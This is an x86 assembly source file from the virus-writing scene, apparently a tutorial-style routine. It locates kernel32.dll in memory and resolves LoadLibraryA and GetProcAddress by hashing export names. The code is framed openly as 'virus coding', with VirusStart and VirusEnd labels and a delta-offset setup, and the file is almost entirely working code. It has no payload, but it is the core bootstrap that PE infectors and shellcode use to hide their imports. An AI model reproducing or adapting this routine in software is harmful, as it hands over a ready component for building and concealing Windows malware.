;This is another method to get Kernel32.dll base address & scanning API functions we need. ;if we know the address of "LoadLibraryA" and "GetProcAddress", we can get any address of any API functions ; ; ;Credit : Many thanks go to LethalMind/29A, tutorial in scanning API function is Great..:)!! ;Notes : The routine in scanning API with checksum is refer to LethalMind/29A tutorial. Sigh....we need the new technic in virus coding :p ; ; ;Author : lclee_vx ;Group : F-13 Labs ;Copyright : Not me, sigh....still need to improve my skilll but damn it...i do not have time... .386p .model flat, stdcall option casemap:none .data RubbishSize equ (offset Delta - offset VirusStart) ;redundant size .code VirusStart: db 0b8h ;eax=1000h RvaEip dd 1000h call Delta Delta: pop ebp mov ebx, ebp ;ebx=ebp sub ebp, offset Delta sub ebx, RubbishSize ;ebx=ImageBase mov dword ptr [ebp+offset ModuleAddress], ebx ;save mov esi, [esp] ;get the current Address and esi, 0FFFF0000h call GetK32 mov dword ptr [ebp+offset KernelAddr], esi ;save the address of Kernel32.dll call GetApis ;------------------------------------------------------------------------------------------------ ;here we start to scan APIs functions "GetProcAddress" and "LoadLibrary" ;and retrieve others APIs functions with GetProcAddress and LoadLibrary ; ;Notes: ;AddressOfNames = points to a table of function name string one after another ;AddressOfFunctions = points to a table filled with function addresses ;AddressOfOrdinals = points to a table with the ordinal number or each function ;------------------------------------------------------------------------------------------------ GetApis proc mov eax, esi ;eax=esi=address of kernel32.dll add eax, dword ptr [eax+3ch] ;eax=Pointer to PE Header mov dword ptr [ebp+offset PEHeader], eax ;save it add esi, dword ptr [eax+78h] ;esi=point to ExportDirectory mov dword ptr [ebp+offset ExportDir], esi ;save it mov edx, dword ptr [ebp+offset KernelAddr] ;edx=Address of Kernel32.dll add edx, [esi+20h] ;edx=AddressOfNames mov dword ptr [ebp+offset AddrOfNames], edx ;save it mov ecx, dword ptr [esi+18h] ;ecx=NumberOfNames mov dword ptr [ebp+offset NumOfNames], ecx ;save it lea edi, word ptr [ebp+offset ImportantApis] ;edi=API functions we need xor eax, eax ;set the index counter eax=0 SearchApiName: mov esi, dword ptr [ebp+offset KernelAddr] ;esi=Address of Kernel32.dll add esi, [edx+eax*4] ;get address for next api name in ;kernel32.dll @Step1: pushad ;save all the register xor edx, edx ;edx=0 mov edx, dword ptr [edi] ;load the Api functions need into edx cmp edx, 0 ;ended?? Refer to "ImportantApis" structure jz GetOut ;jump to end of routine @Step2: xor eax, eax ;eax=0 lodsb ;esi-->eax, take a character, ie:"_X" mov ah, al ;move it left, ie:"X __" mov al, 0 sub edx, eax cmp eax, 0 ;eax=0?? jz @Step3 xor ax, ax ;ax=0 lodsb ;esi-->eax, take a character, ie:"_Y" sub edx, eax cmp eax, 0 ;eax=0 jnz @Step2 @Step3: test edx, edx ;edx=0?, we get the checksum match? jz FoundApi popad ;save back all the register inc eax ;eax+1 cmp eax, dword ptr [ebp+offset NumOfNames] ;compare with the NumberOfNames jge GetOut ;jump out from the routine jmp SearchApiName ;Here we apply two formula to retrieve the address of the API functions we need ;eax = The index into the Address of Ordinals ; ;Formula 1: eax*2+[AddressOfNameOrdinals]=Ordinal ;Formula 2: Ordinal*4+[AddressOfFunctions]=Address of Function (RVA) ; FoundApi: popad ;save back all the register mov esi, dword ptr [ebp+offset ExportDir] ;esi=point to ExportDir mov edx, dword ptr [ebp+offset KernelAddr] ;edx=Address of Kernel32.dll add edx, [esi+24h] ;edx=AddressOfNameOrdinals movzx eax, word ptr [edx+eax*2] ;Apply Formula 1 mov edx, dword ptr [ebp+offset KernelAddr] ;edx=Address of Kernel32.dll add edx, [esi+1ch] ;edx+AddressOfFunctions mov esi, dword ptr [ebp+offset KernelAddr] add esi, [edx+eax*4] mov eax, esi ;eax=address of functions add edi, 4 stosd ;save eax -->edi xor eax, eax mov edx, dword ptr [ebp+offset AddrOfNames] jmp SearchApiName GetOut: ret GetApis endp ;------------------------------------------------------------------------------------------------ ;This routine is scan Kernel32.dll address ; ;Notes: ;------- ;we set the esi+IMAGE_DOS_HEADER.e_lfanew < 4096byte (1000h), its impossible the size of Dos Header ;plus Stub > 4096byte, correct me if i wrong :p ; ;the code "test ax, 0f000h" that mean we check the value for "0xxx", x=value 0,1 ;------------------------------------------------------------------------------------------------ GetK32 proc push eax Step1: dec esi ;Checking every byte mov ax, [esi+3ch] ;ax=esi+IMAGE_DOS_HEADER.e_lfanew test ax, 0f000h ;ax < 4096byte jnz Step1 cmp esi, [esi+eax+34h] ;esi=IMAGEBASE ?? jnz Step1 pop eax ;save the original eax ret GetK32 endp ;------------------------------------------------------------------------------------------------ ;parameters ;------------------------------------------------------------------------------------------------ ;RvaEip dd ? ModuleAddress dd 00000000h KernelAddr dd 00000000h PEHeader dd 00000000h ExportDir dd 00000000h AddrOfNames dd 00000000h NumOfNames dd 00000000h ImportantApis: sLoadLibraryA dd "Lo"+"ad"+"Li"+"br"+"ar"+"yA" aLoadLibraryA dd 000000000h sGetProcAddress dd "Ge"+"tP"+"ro"+"cA"+"dd"+"re"+"ss" aGetProcAddress dd 00000000h dd 00000000h VirusEnd: ends end VirusStart